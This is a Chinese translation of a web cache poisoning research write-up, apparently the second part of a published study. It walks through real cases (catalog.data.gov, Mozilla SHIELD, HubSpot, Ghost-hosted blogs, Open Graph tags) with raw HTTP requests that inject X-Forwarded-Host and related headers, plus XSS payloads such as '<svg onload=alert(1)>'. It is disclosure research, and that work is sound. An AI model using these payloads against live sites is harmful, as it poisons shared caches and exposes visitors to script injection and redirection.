导语:网页缓存投毒长期以来一直是一个难以被捕捉的漏洞,甚至可以说,它仅是一种理论上的威胁,主要用于吓唬开发人员乖乖修补任何人都无法实际利用的所谓漏洞。
在上一篇文章中,我介绍了网页缓存投毒技术的核心概念和几个攻击案例,今天我们接着介绍剩余的投毒案例。
DOM投毒
利用无键输入的过程并不总是像粘贴XSS有效载荷那样容易,比如以下的要求:
GET /dataset HTTP/1.1 Host: catalog.data.gov X-Forwarded-Host: canary HTTP/1.1 200 OK Age: 32707 X-Cache: Hit from cloudfront … <body data-site-root="https://canary/">
虽然我已经重新设置了'data-site-root'属性,但却无法获得XSS,甚至也不清楚这个属性的真正用途是什么。为了找到答案,我在Burp中创建了一个匹配以及替换规则,为所有请求添加了 'X-Forwarded-Host: id.burpcollaborator.net' 标头,然后再浏览该网页,这时当加载某些页面时,Firefox会将JavaScript生成的请求发送到我的服务器。
GET /api/i18n/en HTTP/1.1 Host: id.burpcollaborator.net
该路径表明,在网站的某个位置,有一些JavaScript代码使用data-site-root属性来决定从哪里加载一些国际化数据。我试图通过获取https://catalog.data.gov/api/i18n/en来找出这些数据应该是什么样的,但却只收到了一个空的JSON响应。幸运的是,将'en'改为'es'后,我得到了以下的线索。
GET /api/i18n/es HTTP/1.1 Host: catalog.data.gov HTTP/1.1 200 OK … {"Show more":"Mostrar más"}
该文件包含一个用于将短语翻译为用户所选语言的功能,通过创建我们自己的翻译文件并使用缓存投毒指向用户,就可以将短语翻译功能转化成漏洞。
GET /api/i18n/en HTTP/1.1 Host: portswigger-labs.net HTTP/1.1 200 OK ... {"Show more":"<svg onload=alert(1)>"}
这样,任何查看包含“显示更多”字样页面的用户都会被利用。
劫持Mozilla SHIELD系统
还记得我为利用漏洞而配置的“X-Forwarded-Host”匹配或替换规则吗?这会产生意想不到的副作用。除了来自catalog.data.gov网站的响应之外,我还收到了一些非常神秘的信息。
GET /api/v1/recipe/signed/ HTTP/1.1 Host: xyz.burpcollaborator.net User-Agent: Mozilla/5.0 … Firefox/57.0 Accept: application/json origin: null X-Forwarded-Host: xyz.burpcollaborator.net
'null'Origin本身很少见,我以前从未见过浏览器发出完全小写的Origin标头。仔细检查代理历史日志,我发现问题就出在Firefox本身。Firefox曾试图获取一份“recipes”列表,该列表是SHIELD系统的一部分,用于悄悄安装扩展以用于营销和研究目的。该系统可能因强行传播'Mr Robot'扩展而闻名,这引起了消费者的强烈反对。这个插件其实是Mozilla和Mr. Robot(黑客军团电视剧)系列开展合作的尝试,其中包含作者给玩家预留的线索。但是由于Firefox最初并没有提供任何关于插件突然出现的解释,引发了很多用户的不满。在引发争议之后,Mozilla表示已停止向用户推送Mr. Robot扩展,并选择将其转移到扩展商店,让感兴趣的用户自行选择安装。
无论如何,类似于X-Forwarded-Host这样的标头欺骗了SHIELD系统,将Firefox引导到我自己的网站,以获取“recipes”列表。
GET /api/v1/ HTTP/1.1 Host: normandy.cdn.mozilla.net X-Forwarded-Host: xyz.burpcollaborator.net HTTP/1.1 200 OK { "action-list": "https://xyz.burpcollaborator.net/api/v1/action/", "action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/", "recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/", "recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/", … }
“recipes”列表看起来如下所示:
[{ "id": 403, "last_updated": "2017-12-15T02:05:13.006390Z", "name": "Looking Glass (take 2)", "action": "opt-out-study", "addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi", "filter_expression": "normandy.country in ['US', 'CA']\n && normandy.version >= '57.0'\n)", "description": "MY REALITY IS JUST DIFFERENT THAN YOURS", }]
由于Mozilla SHIELD系统使用NGINX进行缓存,自然很乐意保存我的投毒响应并将其提供给其他用户。Firefox在浏览器打开后不久就会抓取此URL并定期重新取回,这意味着Firefox每天会有数千万的用户最终会从我的网站上检索此“recipes”列表。
这就为攻击提供了很多可能性,由于Firefox使用时要经过签名,所以我不能只安装恶意插件并获得完整的代码执行,不过我可以将数千万真正的用户引导到我选择的URL。除了可以实施DDoS攻击之外,如果与适当的内存损坏漏洞相结合,则可能发生更大的攻击。此外,一些后端Mozilla系统使用的是未签名的“recipes”列表,这些列表可能被用于在其基础设施内部获得立足点并可能获得列表签名密钥。此外,我可以重播我选择的“recipes”列表,这可能会强制用户安装一个旧的已知易受攻击的扩展或Mr Robot。
路由投毒
有些应用程序不仅会使用标头生成URL,而且还将它们用于内部请求路由。
GET / HTTP/1.1 Host: www.goodhire.com X-Forwarded-Server: canary HTTP/1.1 404 Not Found CF-Cache-Status: MISS … <title>HubSpot - Page not found</title> <p>The domain canary does not exist in our system.</p>
Goodhire.com显然托管在HubSpot上,而HubSpot提供给X-Forwarded-Server标头的优先级要高于主机标头(Host header),并且HubSpot也无法搞清楚此请求所针对的目标客户端。虽然我的输入内容也出现在页面中,但它是HTML编码的,所以直接的XSS攻击在这里不起作用。要利用这个陆游漏洞,我就需要访问hubspot.com,将自己注册为HubSpot客户端,在HubSpot页面上放置一个有效载荷,然后最终欺骗HubSpot在goodhire.com上提供以下响应。
GET / HTTP/1.1 Host: www.goodhire.com X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com HTTP/1.1 200 OK … <script>alert(document.domain)</script>
Cloudflare很快就缓存了此响应,并将其提供给后续访问者。 Inflection将此报告传递给了HubSpot,HubSpot通过永久禁止我的IP地址来解决问题。
像这样的内部路由漏洞在SaaS应用程序中特别常见,在这些应用程序中,单个系统负责处理针对许多不同客户的请求。
隐秘的路由投毒(Hidden Route Poisoning)
不过,路由投毒漏洞并不总是像上面的那些案例那样,都那么明显,比如下面这个样本。
GET / HTTP/1.1 Host: blog.cloudflare.com X-Forwarded-Host: canary HTTP/1.1 302 Found Location: https://ghost.org/fail/
由于Cloudflare的博客由Ghost托管,他们显然正在使用X-Forwarded-Host标头。你可以通过指定另一个可识别的主机名(例如blog.binary.com)来避免错误的重定向,不过这会导致10秒延迟,然后是标准的blog.cloudflare.com响应。乍一看,没有明确的投毒方法。
不过当用户首次使用Ghost注册博客时,它会在ghost.io下使用唯一的子域发布它们。一旦博客启动并运行,用户就可以定义像blog.cloudflare.com这样的任意自定义域。如果用户已经定义了一个自定义域,则其ghost.io子域将直接重定向到它。
GET / HTTP/1.1 Host: noshandnibble.ghost.io HTTP/1.1 302 Found Location: http://noshandnibble.blog/
重要的是,这个重定向也可以通过x – forward – host标头触发。
GET / HTTP/1.1 Host: blog.cloudflare.com X-Forwarded-Host: noshandnibble.ghost.io HTTP/1.1 302 Found Location: http://noshandnibble.blog/
我于是试着通过注册自己的ghost.org帐户并设置了一个自定义域,结果发现可以将发送到blog.cloudflare.com的请求重定向到我自己的网站:waf.party,这意味着我可以劫持像图像一样的资源载荷。
为了获得对blog.cloudflare.com的完全控制,就需要重定向JavaScript加载,不过,其中会遇到一个奇怪的阻碍,仔细观察重定向,你会发现重定向使用的是HTTP,而博客是通过HTTPS加载的。这意味着浏览器的混合内容保护(mixed-content protection)起了作用,阻止了脚本或样式表的重定向。
由于我找不到任何让Ghost发出HTTPS重定向的技术方法,所以起初,我打算将它作为一个漏洞,报告给开发商,希望他们能替我修复它。不过最后我还是找到了决绝方案,第一个解决方案是由Sajjad Hashemian发现的,他在Safari中发现有waf.party在浏览器的HSTS缓存中,重定向会自动升级为HTTPS而不是被阻止。第二个解决方案是Sam Thomas基于Manuel Caballero的研究,提出了Edge的解决方案——302重定向到HTTPS URL,完全绕过了Edge的混合内容保护。
总而言之,对于Safari和Edge用户,我可以完全攻击blog.cloudflare.com,blog.binary.com和其他ghost.org客户端的每一个页面。而对于Chrome/Firefox用户,我只能劫持图像。
链接无键输入
有时,无键输入只会混淆应用程序栈,所以你就需要链接其他无键输入以实现投毒,比如对以下网站的访问。
GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Host: xyz HTTP/1.1 200 OK Set-Cookie: locale=en; domain=xyz
X-Forwarded-Host标头会覆盖cookie上的域,但在响应的其余部分(没有经过混淆的应用程序栈)中则没有生成任何URL。其实这本身是没用的,但是,这些部分却出现了另一个无键输入。
GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Scheme: nothttps HTTP/1.1 301 Moved Permanently Location: https://redacted.net/en
虽然此输入本身也是无用的,但如果我将这两个无用的部分结合在一起,就可以将响应转换为重定向到任意域。
GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Host: attacker.com X-Forwarded-Scheme: nothttps HTTP/1.1 301 Moved Permanently Location: https://attacker.com/en
使用此技术,可以通过重定向POST请求从自定义HTTP标头中窃取CSRF令牌。我还可以获得存储的基于DOM的XSS,并恶意响应JSON载荷,这种做法就类似于前面提到的data.gov漏洞。
劫持Open Graph协议
在另一个网页上,无键输入只影响具有Open Graph协议的 URL。
GET /en HTTP/1.1 Host: redacted.net X-Forwarded-Host: attacker.com HTTP/1.1 200 OK Cache-Control: max-age=0, private, must-revalidate … <meta property="og:url" content='https://attacker.com/en'/>
Open Graph是一种由Facebook创建的协议,它允许网站所有者将他们的网页视为“目标”(比如IMDb上的一部电影或者ESPN.COM上的一名运动员),这样Facebook才能于这些目标建立联系。而被我劫持的og:url参数有效地覆盖了共享的url,这意味着,任何共享了那个被投毒页面的用户,实际上最终都会共享我选择的内容。
你可能已经注意到,应用程序设置了'Cache-Control:private',而Cloudflare拒绝缓存此类响应。幸运的是,网站上的其他页面明确启用了这类缓存。
GET /popularPage HTTP/1.1 Host: redacted.net X-Forwarded-Host: evil.com HTTP/1.1 200 OK Cache-Control: public, max-age=14400 Set-Cookie: session_id=942… CF-Cache-Status: MISS
这里的'CF-Cache-Status'标头表示Cloudflare正有意考虑缓存此响应,不过这个缓存并没有真正实现过。按着我的推测,Cloudflare会拒绝缓存,这可能与session_id cookie有关,也可能与不断重试已存在的cookie有关。
GET /popularPage HTTP/1.1 Host: redacted.net Cookie: session_id=942…; X-Forwarded-Host: attacker.com HTTP/1.1 200 OK Cache-Control: public, max-age=14400 CF-Cache-Status: HIT … <meta property="og:url" content='https://attacker.com/…
最终,我还是得到了响应缓存,不过后来我发现可以跳过guesswork直接阅读Cloudflare的缓存文档。
尽管响应被缓存,但那些要“分享”的页面仍然没有被投毒。Facebook显然没有并没有攻击我破坏的Cloudflare缓存。为了确定具体需要进行投毒的缓存,我利用了所有Cloudflare网页都带有的一个调试属性:/cdn-cgi/trace。
colo=AMS行表明Facebook已经通过阿姆斯特丹的缓存访问了waf.party,目标网站是通过亚特兰大访问的,所以我在那里租了2美元/月的VPS并再次尝试投毒。
在投毒完成之后,任何试图在其网站上共享各种页面的人最终都会分享我选择的内容。感兴趣的可以看这个视频。